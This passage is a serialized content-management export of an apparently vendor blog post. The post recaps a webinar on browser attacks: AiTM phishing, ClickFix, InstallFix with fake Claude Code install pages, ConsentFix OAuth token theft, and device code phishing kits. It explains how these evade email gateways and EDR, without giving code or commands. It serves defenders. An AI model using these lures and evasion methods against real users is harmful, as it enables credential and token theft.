normal.",{"data":36332,"content":36333,"nodeType":860},{},[36334,36339,36343,36351],{"data":36335,"marks":36336,"value":36338,"nodeType":864},{},[36337],{"type":899},"One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. .",{"data":36340,"marks":36341,"value":36342,"nodeType":864},{},[]," The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for ",{"data":36344,"content":36345,"nodeType":883},{"uri":7124},[36346],{"data":36347,"marks":36348,"value":36350,"nodeType":864},{},[36349],{"type":1455},"detection evasion",{"data":36352,"marks":36353,"value":25428,"nodeType":864},{},[],{"data":36355,"content":36356,"nodeType":860},{},[36357,36361,36368],{"data":36358,"marks":36359,"value":36360,"nodeType":864},{},[],"As John observed, \"the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet\" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a ",{"data":36362,"content":36363,"nodeType":883},{"uri":8621},[36364],{"data":36365,"marks":36366,"value":36367,"nodeType":864},{},[],"complete timeline",{"data":36369,"marks":36370,"value":36371,"nodeType":864},{},[],", mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.",{"data":36373,"content":36374,"nodeType":1005},{},[],{"data":36376,"content":36377,"nodeType":1009},{},[36378],{"data":36379,"marks":36380,"value":36382,"nodeType":864},{},[36381],{"type":899},"3. Email is losing its market share as a delivery vector",{"data":36384,"content":36385,"nodeType":860},{},[36386,36390,36397],{"data":36387,"marks":36388,"value":36389,"nodeType":864},{},[],"One of the most striking examples in the webinar was a targeted AiTM campaign ",{"data":36391,"content":36392,"nodeType":883},{"uri":8319},[36393],{"data":36394,"marks":36395,"value":36396,"nodeType":864},{},[],"Push detected last year",{"data":36398,"marks":36399,"value":36400,"nodeType":864},{},[]," that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.",{"data":36402,"content":36403,"nodeType":860},{},[36404],{"data":36405,"marks":36406,"value":36407,"nodeType":864},{},[],"As Luke noted, LinkedIn occupies an unusual middle ground: \"It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform.\" It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.",{"data":36409,"content":36410,"nodeType":860},{},[36411],{"data":36412,"marks":36413,"value":36414,"nodeType":864},{},[],"LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted \"not even malvertising, just organic search, uncovering legit websites that have been compromised.\" InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. ",{"data":36416,"content":36417,"nodeType":1116},{},[36418],{"data":36419,"content":36420,"nodeType":860},{},[36421],{"data":36422,"marks":36423,"value":36424,"nodeType":864},{},[],"As John put it: \"You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point.\"",{"data":36426,"content":36427,"nodeType":1005},{},[],{"data":36429,"content":36430,"nodeType":1009},{},[36431],{"data":36432,"marks":36433,"value":36435,"nodeType":864},{},[36434],{"type":899},"4. ClickFix keeps evolving with multiple *Fix derivatives",{"data":36437,"content":36438,"nodeType":860},{},[36439,36443,36451,36455,36463],{"data":36440,"marks":36441,"value":36442,"nodeType":864},{},[],"ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — ",{"data":36444,"content":36445,"nodeType":883},{"uri":12433},[36446],{"data":36447,"marks":36448,"value":36450,"nodeType":864},{},[36449],{"type":1455},"spawned an entire family of variants since its emergence, according to Push’s research",{"data":36452,"marks":36453,"value":36454,"nodeType":864},{},[],". The webinar showed how far the social engineering has come: Luke demonstrated a ",{"data":36456,"content":36458,"nodeType":883},{"uri":36457},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/",[36459],{"data":36460,"marks":36461,"value":36462,"nodeType":864},{},[],"particularly sophisticated variant",{"data":36464,"marks":36465,"value":36466,"nodeType":864},{},[]," on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: \"It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience.\"",{"data":36468,"content":36469,"nodeType":860},{},[36470,36474,36481],{"data":36471,"marks":36472,"value":36473,"nodeType":864},{},[],"The more important point was structural. Because the user manually pastes and executes the command, \"from the EDR's perspective, the user just manually ran this command,\" Luke explained. \"It actually breaks that link from an EDR's perspective.\" EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push ",{"data":36475,"content":36476,"nodeType":883},{"uri":12433},[36477],{"data":36478,"marks":36479,"value":36480,"nodeType":864},{},[],"detects ClickFix at the clipboard-injection stage",{"data":36482,"marks":36483,"value":36484,"nodeType":864},{},[],", before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.",{"data":36486,"content":36487,"nodeType":1005},{},[],{"data":36489,"content":36490,"nodeType":1009},{},[36491],{"data":36492,"marks":36493,"value":36495,"nodeType":864},{},[36494],{"type":899},"5. InstallFix turned the AI tool boom into an attack surface overnight",{"data":36497,"content":36498,"nodeType":860},{},[36499,36502,36509],{"data":36500,"marks":36501,"value":21,"nodeType":864},{},[],{"data":36503,"content":36504,"nodeType":883},{"uri":6024},[36505],{"data":36506,"marks":36507,"value":6029,"nodeType":864},{},[36508],{"type":1455},{"data":36510,"marks":36511,"value":36512,"nodeType":864},{},[]," — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.",{"data":36514,"content":36515,"nodeType":860},{},[36516],{"data":36517,"marks":36518,"value":36519,"nodeType":864},{},[],"The trajectory Luke described was striking: \"It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well.\" John added that the Claude Code variant in particular has been \"running rampant,\" and that he personally knows someone who fell for it.",{"data":36521,"content":36522,"nodeType":860},{},[36523],{"data":36524,"marks":36525,"value":36526,"nodeType":864},{},[],"What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.",{"data":36528,"content":36529,"nodeType":1005},{},[],{"data":36531,"content":36532,"nodeType":1009},{},[36533],{"data":36534,"marks":36535,"value":36537,"nodeType":864},{},[36536],{"type":899},"6. ConsentFix plays out entirely in the browser, and criminals just got the playbook",{"data":36539,"content":36540,"nodeType":860},{},[36541,36544,36551],{"data":36542,"marks":36543,"value":21,"nodeType":864},{},[],{"data":36545,"content":36546,"nodeType":883},{"uri":6036},[36547],{"data":36548,"marks":36549,"value":6041,"nodeType":864},{},[36550],{"type":1455},{"data":36552,"marks":36553,"value":36554,"nodeType":864},{},[]," was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: \"This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at.\"",{"data":36556,"content":36557,"nodeType":860},{},[36558],{"data":36559,"marks":36560,"value":36561,"nodeType":864},{},[],"Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. \"It took us seeing it a few times before we cracked it,\" Luke explained. \"And then we were like — wow. What is this? I've never seen this before.\"",{"data":36563,"content":36564,"nodeType":860},{},[36565,36569,36576],{"data":36566,"marks":36567,"value":36568,"nodeType":864},{},[],"The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a  ",{"data":36570,"content":36571,"nodeType":883},{"uri":6075},[36572],{"data":36573,"marks":36574,"value":36575,"nodeType":864},{},[],"ConsentFix v3 toolkit",{"data":36577,"marks":36578,"value":36579,"nodeType":864},{},[]," posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. \"They don’t need any infrastructure,\" John noted. \"They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet.\"",{"data":36581,"content":36582,"nodeType":1116},{},[36583],{"data":36584,"content":36585,"nodeType":860},{},[36586],{"data":36587,"marks":36588,"value":36589,"nodeType":864},{},[],"Luke's assessment was clear: \"When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now.\" ",{"data":36591,"content":36592,"nodeType":860},{},[36593],{"data":36594,"marks":36595,"value":36596,"nodeType":864},{},[],"With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.",{"data":36598,"content":36599,"nodeType":1005},{},[],{"data":36601,"content":36602,"nodeType":1009},{},[36603],{"data":36604,"marks":36605,"value":36607,"nodeType":864},{},[36606],{"type":899},"7. Device code phishing is the technique both speakers fear most (and it's just getting started)",{"data":36609,"content":36610,"nodeType":860},{},[36611,36615,36621],{"data":36612,"marks":36613,"value":36614,"nodeType":864},{},[],"When John asked Luke which technique felt most dangerous, the answer was immediate: ",{"data":36616,"content":36617,"nodeType":883},{"uri":3259},[36618],{"data":36619,"marks":36620,"value":28273,"nodeType":864},{},[],{"data":36622,"marks":36623,"value":25428,"nodeType":864},{},[],{"data":36625,"content":36626,"nodeType":860},{},[36627],{"data":36628,"marks":36629,"value":36630,"nodeType":864},{},[],"The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.",{"data":36632,"content":36633,"nodeType":860},{},[36634],{"data":36635,"marks":36636,"value":36637,"nodeType":864},{},[],"Push is now tracking at least 12 distinct device code phishing kits, \"literally within the last couple of months — from basically zero to this.\" EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. \"That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now.\"",{"data":36639,"content":36640,"nodeType":860},{},[36641,36646],{"data":36642,"marks":36643,"value":36645,"nodeType":864},{},[36644],{"type":899},"What makes device code phishing uniquely dangerous is how little friction it presents to the victim.",{"data":36647,"marks":36648,"value":36649,"nodeType":864},{},[]," As Luke explained: \"It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code.\"",{"data":36651,"content":36652,"nodeType":1116},{},[36653],{"data":36654,"content":36655,"nodeType":860},{},[36656],{"data":36657,"marks":36658,"value":36659,"nodeType":864},{},[],"John's closing take: \"It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun.\" ",{"data":36661,"content":36662,"nodeType":860},{},[36663,36667,36674],{"data":36664,"marks":36665,"value":36666,"nodeType":864},{},[],"The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ",{"data":36668,"content":36669,"nodeType":883},{"uri":4082},[36670],{"data":36671,"marks":36672,"value":4087,"nodeType":864},{},[36673],{"type":1455},{"data":36675,"marks":36676,"value":2924,"nodeType":864},{},[],{"data":36678,"content":36679,"nodeType":1005},{},[],{"data":36681,"content":36682,"nodeType":1009},{},[36683],{"data":36684,"marks":36685,"value":36687,"nodeType":864},{},[36686],{"type":899},"What ties all of this together",{"data":36689,"content":36690,"nodeType":860},{},[36691],{"data":36692,"marks":36693,"value":36694,"nodeType":864},{},[],"Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.",{"data":36696,"content":36697,"nodeType":860},{},[36698,36702,36708,36711,36718,36721,36728,36731,36738],{"data":36699,"marks":36700,"value":36701,"nodeType":864},{},[],"Push detects all of them — ",{"data":36703,"content":36704,"nodeType":883},{"uri":8621},[36705],{"data":36706,"marks":36707,"value":261,"nodeType":864},{},[],{"data":36709,"marks":36710,"value":34889,"nodeType":864},{},[],{"data":36712,"content":36713,"nodeType":883},{"uri":12433},[36714],{"data":36715,"marks":36716,"value":36717,"nodeType":864},{},[]," ClickFix and the *Fix family",{"data":36719,"marks":36720,"value":34889,"nodeType":864},{},[],{"data":36722,"content":36723,"nodeType":883},{"uri":6036},[36724],{"data":36725,"marks":36726,"value":36727,"nodeType":864},{},[]," ConsentFix",{"data":36729,"marks":36730,"value":34901,"nodeType":864},{},[],{"data":36732,"content":36733,"nodeType":883},{"uri":3259},[36734],{"data":36735,"marks":36736,"value":36737,"nodeType":864},{},[]," device code phishing",{"data":36739,"marks":36740,"value":36741,"nodeType":864},{},[]," — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.",{"data":36743,"content":36744,"nodeType":860},{},[36745,36748,36757,36761,36767],{"data":36746,"marks":36747,"value":21,"nodeType":864},{},[],{"data":36749,"content":36751,"nodeType":883},{"uri":36750},"https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground",[36752],{"data":36753,"marks":36754,"value":36756,"nodeType":864},{},[36755],{"type":1455},"Watch the full webinar",{"data":36758,"marks":36759,"value":36760,"nodeType":864},{},[]," to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or ",{"data":36762,"content":36763,"nodeType":883},{"uri":1700},[36764],{"data":36765,"marks":36766,"value":18241,"nodeType":864},{},[],{"data":36768,"marks":36769,"value":36770,"nodeType":864},{},[]," to see how Push handles them.",{"entries":36772},{"hyperlink":36773,"inline":36774,"block":36775},[],[],[36776],{"sys":36777,"__typename":1717,"type":1718,"ctaText":36778,"buttonLabel":36779,"buttonColour":1721,"buttonUrl":36750},{"id":36222},"Watch the full webinar on demand.","Watch now",{"items":36781},[],{},"7 things we learned from our conversation with John Hammond","2026-05-19T00:00:00.000Z",{"items":36786},[36787,39504,40225],{"__typename":2059,"sys":36788,"content":36789,"title":31601,"synopsis":31602,"hashTags":59,"publishedDate":31603,"slug":361,"tagsCollection":39494,"authorsCollection":39500},{"id":18517},{"json":36790},{"data":36791,"content":36792,"nodeType":856},{},[36793,36798,36814,36830,36836,36841,36847,36853,36856,36863,36868,36934,36950,36955,36961,37057,37062,37065,37072,37078,37083,37086,37093,37129,37134,37140,37146,37152,37158,37174,37179,37184,37189,37194,37199,37204,37209,37215,37445,37448,37455,37582,37587,37590,37597,37628,37755,37760,37763,37770,37909,37914,37917,37924,37929,38063,38068,38073,38076,38083,38222,38227,38230,38237,38377,38382,38385,38392,38483,38488,38491,38498,38589,38594,38597,38604,38609,38736,38741,38744,38751,38798,38803,38806,38813,38946,38951,38954,38961,39088,39093,39096,39103,39113,39119,39124,39129,39135,39152,39165,39170,39173,39180,39187,39204,39221,39226,39232,39238,39245,39251,39257,39263,39270,39276,39321,39326,39329,39336,39342,39348,39385,39390,39396,39399,39406,39412,39418,39434,39439,39445,39452,39458],{"data":36794,"content":36797,"nodeType":996},{"target":36795},{"sys":36796},{"id":28620,"type":1001,"linkType":1002},[],{"data":36799,"content":36800,"nodeType":860},{},[36801,36804,36811],{"data":36802,"marks":36803,"value":28628,"nodeType":864},{},[],{"data":36805,"content":36806,"nodeType":883},{"uri":28631},[36807],{"data":36808,"marks":36809,"value":28637,"nodeType":864},{},[36810],{"type":1455},{"data":36812,"marks":36813,"value":28641,"nodeType":864},{},[],{"data":36815,"content":36816,"nodeType":860},{},[36817,36820,36827],{"data":36818,"marks":36819,"value":21,"nodeType":864},{},[],{"data":36821,"content":36822,"nodeType":883},{"uri":28650},[36823],{"data":36824,"marks":36825,"value":360,"nodeType":864},{},[36826],{"type":1455},{"data":36828,"marks":36829,"value":28659,"nodeType":864},{},[],{"data":36831,"content":36832,"nodeType":860},{},[36833],{"data":36834,"marks":36835,"value":28666,"nodeType":864},{},[],{"data":36837,"content":36840,"nodeType":996},{"target":36838},{"sys":36839},{"id":28671,"type":1001,"linkType":1002},[],{"data":36842,"content":36843,"nodeType":860},{},[36844],{"data":36845,"marks":36846,"value":28679,"nodeType":864},{},[],{"data":36848,"content":36849,"nodeType":860},{},[36850],{"data":36851,"marks":36852,"value":28686,"nodeType":864},{},[],{"data":36854,"content":36855,"nodeType":1005},{},[],{"data":36857,"content":36858,"nodeType":1009},{},[36859],{"data":36860,"marks":36861,"value":28697,"nodeType":864},{},[36862],{"type":899},{"data":36864,"content":36867,"nodeType":996},{"target":36865},{"sys":36866},{"id":28702,"type":1001,"linkType":1002},[],{"data":36869,"content":36870,"nodeType":860},{},[36871,36874,36881,36884,36891,36894,36901,36904,36911,36914,36921,36924,36931],{"data":36872,"marks":36873,"value":28710,"nodeType":864},{},[],{"data":36875,"content":36876,"nodeType":883},{"uri":28713},[36877],{"data":36878,"marks":36879,"value":28719,"nodeType":864},{},[36880],{"type":1455},{"data":36882,"marks":36883,"value":28723,"nodeType":864},{},[],{"data":36885,"content":36886,"nodeType":883},{"uri":28726},[36887],{"data":36888,"marks":36889,"value":28732,"nodeType":864},{},[36890],{"type":1455},{"data":36892,"marks":36893,"value":28736,"nodeType":864},{},[],{"data":36895,"content":36896,"nodeType":883},{"uri":28739},[36897],{"data":36898,"marks":36899,"value":28745,"nodeType":864},{},[36900],{"type":1455},{"data":36902,"marks":36903,"value":28749,"nodeType":864},{},[],{"data":36905,"content":36906,"nodeType":883},{"uri":28752},[36907],{"data":36908,"marks":36909,"value":28758,"nodeType":864},{},[36910],{"type":1455},{"data":36912,"marks":36913,"value":28762,"nodeType":864},{},[],{"data":36915,"content":36916,"nodeType":883},{"uri":28765},[36917],{"data":36918,"marks":36919,"value":28771,"nodeType":864},{},[36920],{"type":1455},{"data":36922,"marks":36923,"value":902,"nodeType":864},{},[],{"data":36925,"content":36926,"nodeType":883},{"uri":28777},[36927],{"data":36928,"marks":36929,"value":28783,"nodeType":864},{},[36930],{"type":1455},{"data":36932,"marks":36933,"value":28787,"nodeType":864},{},[],{"data":36935,"content":36936,"nodeType":860},{},[36937,36940,36947],{"data":36938,"marks":36939,"value":28794,"nodeType":864},{},[],{"data":36941,"content":36942,"nodeType":883},{"uri":28797},[36943],{"data":36944,"marks":36945,"value":28803,"nodeType":864},{},[36946],{"type":1455},{"data":36948,"marks":36949,"value":28807,"nodeType":864},{},[],{"data":36951,"content":36954,"nodeType":996},{"target":36952},{"sys":36953},{"id":28812,"type":1001,"linkType":1002},[],{"data":36956,"content":36957,"nodeType":860},{},[36958],{"data":36959,"marks":36960,"value":28820,"nodeType":864},{},[],{"data":36962,"content":36963,"nodeType":941},{},[36964,36991,37009],{"data":36965,"content":36966,"nodeType":945},{},[36967],{"data":36968,"content":36969,"nodeType":860},{},[36970,36973,36979,36982,36988],{"data":36971,"marks":36972,"value":28833,"nodeType":864},{},[],{"data":36974,"content":36975,"nodeType":883},{"uri":28836},[36976],{"data":36977,"marks":36978,"value":28841,"nodeType":864},{},[],{"data":36980,"marks":36981,"value":902,"nodeType":864},{},[],{"data":36983,"content":36984,"nodeType":883},{"uri":28847},[36985],{"data":36986,"marks":36987,"value":28852,"nodeType":864},{},[],{"data":36989,"marks":36990,"value":28856,"nodeType":864},{},[],{"data":36992,"content":36993,"nodeType":945},{},[36994],{"data":36995,"content":36996,"nodeType":860},{},[36997,37000,37006],{"data":36998,"marks":36999,"value":28866,"nodeType":864},{},[],{"data":37001,"content":37002,"nodeType":883},{"uri":6237},[37003],{"data":37004,"marks":37005,"value":6242,"nodeType":864},{},[],{"data":37007,"marks":37008,"value":28876,"nodeType":864},{},[],{"data":37010,"content":37011,"nodeType":945},{},[37012],{"data":37013,"content":37014,"nodeType":860},{},[37015,37018,37024,37027,37034,37037,37044,37047,37054],{"data":37016,"marks":37017,"value":28886,"nodeType":864},{},[],{"data":37019,"content":37020,"nodeType":883},{"uri":28889},[37021],{"data":37022,"marks":37023,"value":28894,"nodeType":864},{},[],{"data":37025,"marks":37026,"value":28898,"nodeType":864},{},[],{"data":37028,"content":37029,"nodeType":883},{"uri":28901},[37030],{"data":37031,"marks":37032,"value":28907,"nodeType":864},{},[37033],{"type":1455},{"data":37035,"marks":37036,"value":2232,"nodeType":864},{},[],{"data":37038,"content":37039,"nodeType":883},{"uri":28913},[37040],{"data":37041,"marks":37042,"value":28919,"nodeType":864},{},[37043],{"type":1455},{"data":37045,"marks":37046,"value":28923,"nodeType":864},{},[],{"data":37048,"content":37049,"nodeType":883},{"uri":7591},[37050],{"data":37051,"marks":37052,"value":28931,"nodeType":864},{},[37053],{"type":1455},{"data":37055,"marks":37056,"value":28935,"nodeType":864},{},[],{"data":37058,"content":37061,"nodeType":996},{"target":37059},{"sys":37060},{"id":28940,"type":1001,"linkType":1002},[],{"data":37063,"content":37064,"nodeType":1005},{},[],{"data":37066,"content":37067,"nodeType":1009},{},[37068],{"data":37069,"marks":37070,"value":28952,"nodeType":864},{},[37071],{"type":899},{"data":37073,"content":37074,"nodeType":860},{},[37075],{"data":37076,"marks":37077,"value":28959,"nodeType":864},{},[],{"data":37079,"content":37082,"nodeType":996},{"target":37080},{"sys":37081},{"id":28964,"type":1001,"linkType":1002},[],{"data":37084,"content":37085,"nodeType":1005},{},[],{"data":37087,"content":37088,"nodeType":1312},{},[37089],{"data":37090,"marks":37091,"value":28976,"nodeType":864},{},[37092],{"type":899},{"data":37094,"content":37095,"nodeType":860},{},[37096,37099,37106,37109,37116,37119,37126],{"data":37097,"marks":37098,"value":21,"nodeType":864},{},[],{"data":37100,"content":37101,"nodeType":883},{"uri":7591},[37102],{"data":37103,"marks":37104,"value":28931,"nodeType":864},{},[37105],{"type":1455},{"data":37107,"marks":37108,"value":3731,"nodeType":864},{},[],{"data":37110,"content":37111,"nodeType":883},{"uri":28995},[37112],{"data":37113,"marks":37114,"value":29001,"nodeType":864},{},[37115],{"type":1455},{"data":37117,"marks":37118,"value":29005,"nodeType":864},{},[],{"data":37120,"content":37121,"nodeType":883},{"uri":28913},[37122],{"data":37123,"marks":37124,"value":29013,"nodeType":864},{},[37125],{"type":1455},{"data":37127,"marks":37128,"value":29017,"nodeType":864},{},[],{"data":37130,"content":37133,"nodeType":996},{"target":37131},{"sys":37132},{"id":29022,"type":1001,"linkType":1002},[],{"data":37135,"content":37136,"nodeType":860},{},[37137],{"data":37138,"marks":37139,"value":29030,"nodeType":864},{},[],{"data":37141,"content":37142,"nodeType":860},{},[37143],{"data":37144,"marks":37145,"value":29037,"nodeType":864},{},[],{"data":37147,"content":37148,"nodeType":860},{},[37149],{"data":37150,"marks":37151,"value":29044,"nodeType":864},{},[],{"data":37153,"content":37154,"nodeType":860},{},[37155],{"data":37156,"marks":37157,"value":29051,"nodeType":864},{},[],{"data":37159,"content":37160,"nodeType":860},{},[37161,37164,37171],{"data":37162,"marks":37163,"value":29058,"nodeType":864},{},[],{"data":37165,"content":37166,"nodeType":883},{"uri":7124},[37167],{"data":37168,"marks":37169,"value":29066,"nodeType":864},{},[37170],{"type":1455},{"data":37172,"marks":37173,"value":29070,"nodeType":864},{},[],{"data":37175,"content":37178,"nodeType":996},{"target":37176},{"sys":37177},{"id":29075,"type":1001,"linkType":1002},[],{"data":37180,"content":37183,"nodeType":996},{"target":37181},{"sys":37182},{"id":29081,"type":1001,"linkType":1002},[],{"data":37185,"content":37188,"nodeType":996},{"target":37186},{"sys":37187},{"id":29087,"type":1001,"linkType":1002},[],{"data":37190,"content":37193,"nodeType":996},{"target":37191},{"sys":37192},{"id":29093,"type":1001,"linkType":1002},[],{"data":37195,"content":37198,"nodeType":996},{"target":37196},{"sys":37197},{"id":29099,"type":1001,"linkType":1002},[],{"data":37200,"content":37203,"nodeType":996},{"target":37201},{"sys":37202},{"id":29105,"type":1001,"linkType":1002},[],{"data":37205,"content":37208,"nodeType":996},{"target":37206},{"sys":37207},{"id":29111,"type":1001,"linkType":1002},[],{"data":37210,"content":37211,"nodeType":860},{},[37212],{"data":37213,"marks":37214,"value":21,"nodeType":864},{},[],{"data":37216,"content":37217,"nodeType":4845},{},[37218,37240,37311,37357,37379],{"data":37219,"content":37220,"nodeType":4581},{},[37221,37231],{"data":37222,"content":37223,"nodeType":4569},{},[37224],{"data":37225,"content":37226,"nodeType":860},{},[37227],{"data":37228,"marks":37229,"value":29135,"nodeType":864},{},[37230],{"type":899},{"data":37232,"content":37233,"nodeType":4569},{},[37234],{"data":37235,"content":37236,"nodeType":860},{},[37237],{"data":37238,"marks":37239,"value":29145,"nodeType":864},{},[],{"data":37241,"content":37242,"nodeType":4581},{},[37243,37253],{"data":37244,"content":37245,"nodeType":4569},{},[37246],{"data":37247,"content":37248,"nodeType":860},{},[37249],{"data":37250,"marks":37251,"value":29159,"nodeType":864},{},[37252],{"type":899},{"data":37254,"content":37255,"nodeType":4569},{},[37256,37280],{"data":37257,"content":37258,"nodeType":860},{},[37259,37263,37266,37270,37273,37277],{"data":37260,"marks":37261,"value":29170,"nodeType":864},{},[37262],{"type":899},{"data":37264,"marks":37265,"value":29174,"nodeType":864},{},[],{"data":37267,"marks":37268,"value":29179,"nodeType":864},{},[37269],{"type":899},{"data":37271,"marks":37272,"value":29183,"nodeType":864},{},[],{"data":37274,"marks":37275,"value":29188,"nodeType":864},{},[37276],{"type":899},{"data":37278,"marks":37279,"value":29192,"nodeType":864},{},[],{"data":37281,"content":37282,"nodeType":860},{},[37283,37287,37290,37294,37297,37301,37304,37308],{"data":37284,"marks":37285,"value":29200,"nodeType":864},{},[37286],{"type":899},{"data":37288,"marks":37289,"value":1171,"nodeType":864},{},[],{"data":37291,"marks":37292,"value":29208,"nodeType":864},{},[37293],{"type":899},{"data":37295,"marks":37296,"value":29212,"nodeType":864},{},[],{"data":37298,"marks":37299,"value":29179,"nodeType":864},{},[37300],{"type":899},{"data":37302,"marks":37303,"value":29220,"nodeType":864},{},[],{"data":37305,"marks":37306,"value":29188,"nodeType":864},{},[37307],{"type":899},{"data":37309,"marks":37310,"value":29228,"nodeType":864},{},[],{"data":37312,"content":37313,"nodeType":4581},{},[37314,37324],{"data":37315,"content":37316,"nodeType":4569},{},[37317],{"data":37318,"content":37319,"nodeType":860},{},[37320],{"data":37321,"marks":37322,"value":29242,"nodeType":864},{},[37323],{"type":899},{"data":37325,"content":37326,"nodeType":4569},{},[37327,37333,37339,37345,37351],{"data":37328,"content":37329,"nodeType":860},{},[37330],{"data":37331,"marks":37332,"value":29252,"nodeType":864},{},[],{"data":37334,"content":37335,"nodeType":860},{},[37336],{"data":37337,"marks":37338,"value":29259,"nodeType":864},{},[],{"data":37340,"content":37341,"nodeType":860},{},[37342],{"data":37343,"marks":37344,"value":29266,"nodeType":864},{},[],{"data":37346,"content":37347,"nodeType":860},{},[37348],{"data":37349,"marks":37350,"value":29273,"nodeType":864},{},[],{"data":37352,"content":37353,"nodeType":860},{},[37354],{"data":37355,"marks":37356,"value":29280,"nodeType":864},{},[],{"data":37358,"content":37359,"nodeType":4581},{},[37360,37370],{"data":37361,"content":37362,"nodeType":4569},{},[37363],{"data":37364,"content":37365,"nodeType":860},{},[37366],{"data":37367,"marks":37368,"value":29294,"nodeType":864},{},[37369],{"type":899},{"data":37371,"content":37372,"nodeType":4569},{},[37373],{"data":37374,"content":37375,"nodeType":860},{},[37376],{"data":37377,"marks":37378,"value":29304,"nodeType":864},{},[],{"data":37380,"content":37381,"nodeType":4581},{},[37382,37392],{"data":37383,"content":37384,"nodeType":4569},{},[37385],{"data":37386,"content":37387,"nodeType":860},{},[37388],{"data":37389,"marks":37390,"value":29318,"nodeType":864},{},[37391],{"type":899},{"data":37393,"content":37394,"nodeType":4569},{},[37395,37405,37415,37425,37435],{"data":37396,"content":37397,"nodeType":860},{},[37398,37402],{"data":37399,"marks":37400,"value":29329,"nodeType":864},{},[37401],{"type":899},{"data":37403,"marks":37404,"value":29333,"nodeType":864},{},[],{"data":37406,"content":37407,"nodeType":860},{},[37408,37412],{"data":37409,"marks":37410,"value":29341,"nodeType":864},{},[37411],{"type":899},{"data":37413,"marks":37414,"value":29345,"nodeType":864},{},[],{"data":37416,"content":37417,"nodeType":860},{},[37418,37422],{"data":3741